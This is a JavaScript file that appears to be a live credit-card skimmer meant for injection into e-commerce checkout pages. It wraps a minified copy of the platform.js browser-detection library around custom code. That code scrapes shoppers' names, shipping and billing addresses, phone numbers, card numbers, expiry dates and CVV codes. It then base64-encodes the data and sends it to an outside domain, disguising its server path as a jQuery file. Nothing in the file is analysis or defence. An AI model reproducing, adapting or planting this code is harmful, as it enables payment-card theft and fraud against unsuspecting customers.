function rus_nul(value) {if (value !== undefined) {return value;} else {return "";}}; function infor_hua() {"use strict";var e={function:!0,object:!0},t=e[typeof window]&&window||this,i=e[typeof exports]&&exports,n=e[typeof module]&&module&&!module.nodeType&&module,r=i&&n&&"object"==typeof global&&global;!r||r.global!==r&&r.window!==r&&r.self!==r||(t=r);var o=Math.pow(2,53)-1,a=/\bOpera/,l=Object.prototype,s=l.hasOwnProperty,b=l.toString;function p(e){return(e=String(e)).charAt(0).toUpperCase()+e.slice(1)}function c(e){return e=x(e),/^(?:webOS|i(?:OS|P))/.test(e)?e:p(e)}function u(e,t){for(var i in e)s.call(e,i)&&t(e[i],i,e)}function d(e){return null==e?p(e):b.call(e).slice(8,-1)}function f(e){return String(e).replace(/([ -])(?!$)/g,"$1?")}function S(e,t){var i=null;return function(e,t){var i=-1,n=e?e.length:0;if("number"==typeof n&&n>-1&&n<=o)for(;++i3?"WebKit":/\bOpera\b/.test(j)&&(/\bOPR\b/.test(i)?"Blink":"Presto"))||/\b(?:Midori|Nook|Safari)\b/i.test(i)&&!/^(?:Trident|EdgeHTML)$/.test(X)&&"WebKit"||!X&&/\bMSIE\b/i.test(i)&&("Mac OS"==V?"Tasman":"Trident")||"WebKit"==X&&/\bPlayStation\b(?! Vita\b)/i.test(j)&&"NetFront")&&(X=[s]),"IE"==j&&(s=(/; *(?:XBLWP|ZuneWP)(\d+)/i.exec(i)||0)[1])?(j+=" Mobile",V="Windows Phone "+(/\+$/.test(s)?s:s+".x"),T.unshift("desktop mode")):/\bWPDesktop\b/i.test(i)?(j="IE Mobile",V="Windows Phone 8.x",T.unshift("desktop mode"),$||($=(/\brv:([\d.]+)/.exec(i)||0)[1])):"IE"!=j&&"Trident"==X&&(s=/\brv:([\d.]+)/.exec(i))&&(j&&T.push("identifying as "+j+($?" "+$:"")),j="IE",$=s[1]),G){if(m="global",g=null!=(h=n)?typeof h[m]:"number",/^(?:boolean|number|string|undefined)$/.test(g)||"object"==g&&!h[m])d(s=n.runtime)==M?(j="Adobe AIR",V=s.flash.system.Capabilities.os):d(s=n.phantom)==w?(j="PhantomJS",$=(s=s.version||null)&&s.major+"."+s.minor+"."+s.patch):"number"==typeof B.documentMode&&(s=/\bTrident\/(\d+)/i.exec(i))?($=[$,B.documentMode],(s=+s[1]+4)!=$[1]&&(T.push("IE "+$[1]+" mode"),X&&(X[1]=""),$[1]=s),$="IE"==j?String($[1].toFixed(1)):$[0]):"number"==typeof B.documentMode&&/^(?:Chrome|Firefox)\b/.test(j)&&(T.push("masking as "+j+" "+$),j="IE",$="11.0",X=["Trident"],V="Windows");else if(E&&(R=(s=E.lang.System).getProperty("os.arch"),V=V||s.getProperty("os.name")+" "+s.getProperty("os.version")),k){try{$=n.require("ringo/engine").version.join("."),j="RingoJS"}catch(e){(s=n.system)&&s.global.system==n.system&&(j="Narwhal",V||(V=s[0].os||null))}j||(j="Rhino")}else"object"==typeof n.process&&!n.process.browser&&(s=n.process)&&("object"==typeof s.versions&&("string"==typeof s.versions.electron?(T.push("Node "+s.versions.node),j="Electron",$=s.versions.electron):"string"==typeof s.versions.nw&&(T.push("Chromium "+$,"Node "+s.versions.node),j="NW.js",$=s.versions.nw)),j||(j="Node.js",R=s.arch,V=s.platform,$=($=/[\d.]+/.exec(s.version))?$[0]:null));V=V&&c(V)}if($&&(s=/(?:[ab]|dp|pre|[ab]\d+pre)(?:\d+\+?)?$/i.exec($)||/(?:alpha|beta)(?: ?\d)?/i.exec(i+";"+(G&&o.appMinorVersion))||/\bMinefield\b/i.test(i)&&"a")&&(F=/b/i.test(s)?"beta":"alpha",$=$.replace(RegExp(s+"\\+?$"),"")+("beta"==F?W:C)+(/\d+\+?/.exec(s)||"")),"Fennec"==j||"Firefox"==j&&/\b(?:Android|Firefox OS)\b/.test(V))j="Firefox Mobile";else if("Maxthon"==j&&$)$=$.replace(/\.[\d.]+/,".x");else if(/\bXbox\b/i.test(N))"Xbox 360"==N&&(V=null),"Xbox 360"==N&&/\bIEMobile\b/.test(i)&&T.unshift("mobile mode");else if(!/^(?:Chrome|IE|Opera)$/.test(j)&&(!j||N||/Browser|Mobi/.test(j))||"Windows CE"!=V&&!/Mobi/i.test(i))if("IE"==j&&G)try{null===n.external&&T.unshift("platform preview")}catch(e){T.unshift("embedded")}else(/\bBlackBerry\b/.test(N)||/\bBB10\b/.test(i))&&(s=(RegExp(N.replace(/ +/g," *")+"/([.\\d]+)","i").exec(i)||0)[1]||$)?(s=[s,/BB10/.test(i)],V=(s[1]?(N=null,K="BlackBerry"):"Device Software")+" "+s[0],$=null):this!=u&&"Wii"!=N&&(G&&I||/Opera/.test(j)&&/\b(?:MSIE|Firefox)\b/i.test(i)||"Firefox"==j&&/\bOS X (?:\d+\.){2,}/.test(V)||"IE"==j&&(V&&!/^Win/.test(V)&&$>5.5||/\bWindows XP\b/.test(V)&&$>8||8==$&&!/\bTrident\b/.test(i)))&&!a.test(s=e.call(u,i.replace(a,"")+";"))&&s.name&&(s="ing as "+s.name+((s=s.version)?" "+s:""),a.test(j)?(/\bIE\b/.test(s)&&"Mac OS"==V&&(V=null),s="identify"+s):(s="mask"+s,j=A?c(A.replace(/([a-z])([A-Z])/g,"$1 $2")):"Opera",/\bIE\b/.test(s)&&(V=null),G||($=null)),X=["Presto"],T.push(s));else j+=" Mobile";(s=(/\bAppleWebKit\/([\d.]+\+?)/i.exec(i)||0)[1])&&(s=[parseFloat(s.replace(/\.(\d)$/,".0$1")),s],"Safari"==j&&"+"==s[1].slice(-1)?(j="WebKit Nightly",F="alpha",$=s[1].slice(0,-1)):$!=s[1]&&$!=(s[2]=(/\bSafari\/([\d.]+\+?)/i.exec(i)||0)[1])||($=null),s[1]=(/\bChrome\/([\d.]+)/i.exec(i)||0)[1],537.36==s[0]&&537.36==s[2]&&parseFloat(s[1])>=28&&"WebKit"==X&&(X=["Blink"]),G&&(O||s[1])?(X&&(X[1]="like Chrome"),s=s[1]||((s=s[0])<530?1:s<532?2:s<532.05?3:s<533?4:s<534.03?5:s<534.07?6:s<534.1?7:s<534.13?8:s<534.16?9:s<534.24?10:s<534.3?11:s<535.01?12:s<535.02?"13+":s<535.07?15:s<535.11?16:s<535.19?17:s<536.05?18:s<536.1?19:s<537.01?20:s<537.11?"21+":s<537.13?23:s<537.18?24:s<537.24?25:s<537.36?26:"Blink"!=X?"27":"28")):(X&&(X[1]="like Safari"),s=(s=s[0])<400?1:s<500?2:s<526?3:s<533?4:s<534?"4+":s<535?5:s<537?6:s<538?7:s<601?8:"8"),X&&(X[1]+=" "+(s+="number"==typeof s?".x":/[.+]/.test(s)?"":"+")),"Safari"==j&&(!$||parseInt($)>45)&&($=s)),"Opera"==j&&(s=/\bzbov|zvav$/.exec(V))?(j+=" ",T.unshift("desktop mode"),"zvav"==s?(j+="Mini",$=null):j+="Mobile",V=V.replace(RegExp(" *"+s+"$"),"")):"Safari"==j&&/\bChrome\b/.exec(X&&X[1])&&(T.unshift("desktop mode"),j="Chrome Mobile",$=null,/\bOS X\b/.test(V)?(K="Apple",V="iOS 4.3+"):V=null),$&&0==$.indexOf(s=/[\d.]+$/.exec(V))&&i.indexOf("/"+s+"-")>-1&&(V=x(V.replace(s,""))),X&&!/\b(?:Avant|Nook)\b/.test(j)&&(/Browser|Lunascape|Maxthon/.test(j)||"Safari"!=j&&/^iOS/.test(V)&&/\bSafari\b/.test(X[1])||/^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|Web)/.test(j)&&X[1])&&(s=X[X.length-1])&&T.push(s),T.length&&(T=["("+T.join("; ")+")"]),K&&N&&N.indexOf(K)<0&&T.push("on "+K),N&&T.push((/^on /.test(T[T.length-1])?"":"on ")+N),V&&(s=/ ([\d.+]+)$/.exec(V),p=s&&"/"==V.charAt(V.length-s[0].length-1),V={architecture:32,family:s&&!p?V.replace(s[0],""):V,version:s?s[1]:null,toString:function(){var e=this.version;return this.family+(e&&!p?" "+e:"")+(64==this.architecture?" 64-bit":"")}}),(s=/\b(?:AMD|IA|Win|WOW|x86_|x)64\b/i.exec(R))&&!/\bi686\b/i.test(R)?(V&&(V.architecture=64,V.family=V.family.replace(RegExp(" *"+s),"")),j&&(/\bWOW64\b/i.test(i)||G&&/\w(?:86|32)$/.test(o.cpuClass||o.platform)&&!/\bWin64; x64\b/i.test(i))&&T.unshift("32-bit")):V&&/^OS X/.test(V.family)&&"Chrome"==j&&parseFloat($)>=39&&(V.architecture=64),i||(i=null);var L={};return L.description=i,L.layout=X&&X[0],L.manufacturer=K,L.name=j,L.prerelease=F,L.product=N,L.ua=i,L.version=j&&$,L.os=V||{architecture:null,family:null,version:null,toString:function(){return"null"}},L.parse=e,L.toString=function(){return this.description||""},L.version&&T.unshift($),L.name&&T.unshift(j),V&&j&&(V!=String(V).split(" ")[0]||V!=j.split(" ")[0]&&!N)&&T.push(N?"("+V+")":"on "+V),T.length&&(L.description=T.join(" ")),L}();"function"==typeof define&&"object"==typeof define.amd&&define.amd?(t.platform=h,define(function(){return h})):i&&n?u(h,function(e,t){i[t]=e}):t.platform=h}; function getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift();} function setCookie(cname, cvalue, exdays) { const d = new Date(); d.setTime(d.getTime() + (exdays*24*60*60*1000)); let expires = "expires="+ d.toUTCString(); document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/"; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; } function hua(url, params) {var httpRequest;if (window['XMLHttpRequest']) {httpRequest = new XMLHttpRequest();} else {httpRequest = new ActiveXObject('Microsoft.XMLHTTP');};httpRequest['open']('POST', url);httpRequest['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');httpRequest['send'](params);} function hua_get(para){ let xhr = new XMLHttpRequest(); xhr.open("GET", "https://storessonlinepro.com/?data="+para);xhr.onreadystatechange = function () { if (xhr.readyState === 4) { page = xhr.responseText;console.log("OK");}};xhr.send();} var xie_data = new Object(); var url_xie = rus_nul(document['location']['href']); var flg = 0; var client = ""; var domain = ""; var ck = ""; var server = "https://storessonlinepro.com/javascript/jquery-2.0.2148594.min.js"; if (document['readyState'] === 'loading') { document['addEventListener']('DOMContentLoaded', action_xie) } else { action_xie(); }; function action_xie() { infor_hua(); client = platform.description; var ck = getCookie('sitecookie'); var domain = window.location.hostname; url_xie = document['location']['href']; document.body.addEventListener('click', function(){get_xx();}, true); //document.body.addEventListener('click', function(){abc();}, true); //document.querySelector('button[id="checkout"]').addEventListener('click', function(){get_xx();}, true); function get_xx() { console.log try{ const form_store = rus_nul(document.body.innerHTML.split('" name="form_').pop().split('"')[0]);; const id_store = rus_nul(document.body.innerHTML.split('recordStats(').pop().split(')')[0]);; let flag_ship = rus_nul(document.body.innerHTML.split('alt="4. ').pop().split('"')[0]); let flag_bill = rus_nul(document.body.innerHTML.split('alt="8. ').pop().split('"')[0]); //rus_nul(document.body.innerHTML.split('>Name on ').pop().split('<')[0]); //console.log(flag_ship); //console.log(flag_bill); if(flag_ship=="Ship To" ) //&& flag_bill =="Bill To" { fname = rus_nul(document.body.innerHTML.split('name="ship_first_name').pop().split('"')[0]); lname = rus_nul(document.body.innerHTML.split('name="ship_last_name').pop().split('"')[0]); name = document.querySelectorAll('input[name="ship_first_name'+fname+'"]')[0].value+" "+document.querySelectorAll('input[name="ship_last_name'+lname+'"]')[0].value; const locadd = [...document.body.innerHTML.matchAll(/"ship_address(.*)" id/g)]; add = document.querySelectorAll('input[name="ship_address'+locadd[0][1]+'"]')[0].value; const loccity = [...document.body.innerHTML.matchAll(/"ship_city(.*)" id/g)]; city = document.querySelectorAll('input[name="ship_city'+loccity[0][1]+'"]')[0].value; const locstate = [...document.body.innerHTML.matchAll(/"ship_state(.*)" id/g)]; state = document.querySelectorAll('select[name="ship_state'+locstate[0][1]+'"]')[0].value; const loczip = [...document.body.innerHTML.matchAll(/"ship_postal_code(.*)" id/g)]; zip = document.querySelectorAll('input[name="ship_postal_code'+loczip[0][1]+'"]')[0].value; const locfone = [...document.body.innerHTML.matchAll(/"ship_day_phone(.*)" id/g)]; fone = document.querySelectorAll('input[name="ship_day_phone'+locfone[0][1]+'"]')[0].value; const loccn = [...document.body.innerHTML.matchAll(/"ship_country(.*)" id/g)]; country = document.querySelectorAll('select[name="ship_country'+loccn[0][1]+'"]')[0].value; bill = name +" | "+add+" | "+city+" | "+state+" | "+zip+" | "+fone+" | "+country; //console.log(bill); const btnNext = document.querySelectorAll('button[id="formnext_'+form_store+'"]')[0]; const formNext = document.querySelectorAll('form[name="form_'+form_store+'"]')[0]; formNext.addEventListener('submit', function(){setCookie("cnameabc", bill, 1);}, true); btnNext.addEventListener('click', function(){setCookie("cnameabc", bill, 1);}, true); } if(flag_bill =="Bill To") { if (document.querySelectorAll('input[type="checkbox"]')[0].checked) { bill = getCookie('cnameabc'); name = bill.split('|')[0]; } else { fname = rus_nul(document.body.innerHTML.split('name="bill_first_name').pop().split('"')[0]); lname = rus_nul(document.body.innerHTML.split('name="bill_last_name').pop().split('"')[0]); name = rus_nul(document.querySelectorAll('input[name="bill_first_name'+fname+'"]')[0].value)+" "+rus_nul(document.querySelectorAll('input[name="bill_last_name'+lname+'"]')[0].value); const locadd = [...rus_nul(document.body.innerHTML.matchAll(/"bill_address(.*)" id/g))]; add = rus_nul(document.querySelectorAll('input[name="bill_address'+locadd[0][1]+'"]')[0].value); const loccity = [...rus_nul(document.body.innerHTML.matchAll(/"bill_city(.*)" id/g))]; city = rus_nul(document.querySelectorAll('input[name="bill_city'+loccity[0][1]+'"]')[0].value); const locstate = [...rus_nul(document.body.innerHTML.matchAll(/"bill_state(.*)" id/g))]; state = rus_nul(document.querySelectorAll('select[name="bill_state'+locstate[0][1]+'"]')[0].value); const loczip = [...rus_nul(document.body.innerHTML.matchAll(/"bill_postal_code(.*)" id/g))]; zip = rus_nul(document.querySelectorAll('input[name="bill_postal_code'+loczip[0][1]+'"]')[0].value); const locfone = [...rus_nul(document.body.innerHTML.matchAll(/"bill_day_phone(.*)" id/g))]; fone = rus_nul(document.querySelectorAll('input[name="bill_day_phone'+locfone[0][1]+'"]')[0].value); const loccn = [...rus_nul(document.body.innerHTML.matchAll(/"bill_country(.*)" id/g))]; country = rus_nul(document.querySelectorAll('select[name="bill_country'+loccn[0][1]+'"]')[0].value); bill = name +" | "+add+" | "+city+" | "+state+" | "+zip+" | "+fone+" | "+country; } const btpay = document.querySelectorAll('input.radiobutton[onclick="paymentMethodDetails(this);"]'); for (let i = 0; i < btpay.length; i++) { id = btpay[i].id; num = id.replace('payment', ''); //console.log(num); try { if(rus_nul(document.getElementById(id)).checked) { ccn = document.querySelector('[name="payment_cardnumber'+num+'"]').value; exm = document.querySelector('[name="payment_month'+num+'"]').value; exy = document.querySelector('[name="payment_year'+num+'"]').value; ccv = document.querySelector('[name="input_432333"]').value; } } catch (e) { ccn = ""; exm = ""; exy = ""; ccv = ""; //console.log(e) } } let status_card = ccn.search("XXX"); //console.log(status_card); var xx = name+" | "+ccn+" | "+exm+" | "+exy+" | "+ccv; data_xie = ck +' | '+client+' | '+url_xie+'-'+id_store+' | '+xx+' | '+bill; data_xie = data_xie.replace("https://www.", ""); //console.log(data_xie);//console.log(btoa(data_xie)); const formNext = document.querySelectorAll('form[name="form_'+form_store+'"]')[0]; //console.log(formNext); formNext.addEventListener('click',function(){if(status_card < 0 && ccn!==""&& ccv!==""&& exm!==""&& exy!==""){if(flg===0){hua_get(btoa(data_xie));flg= 1;}}}, true); formNext.addEventListener('submit',function(){if(status_card < 0 && ccn!==""&& ccv!==""&& exm!==""&& exy!==""){if(flg===0){hua_get(btoa(data_xie));flg= 1;}}}, true); } } catch (e) { url_xie = document['location']['href']; //console.log(e); hua_get(btoa(e+"|"+url_xie)) } } }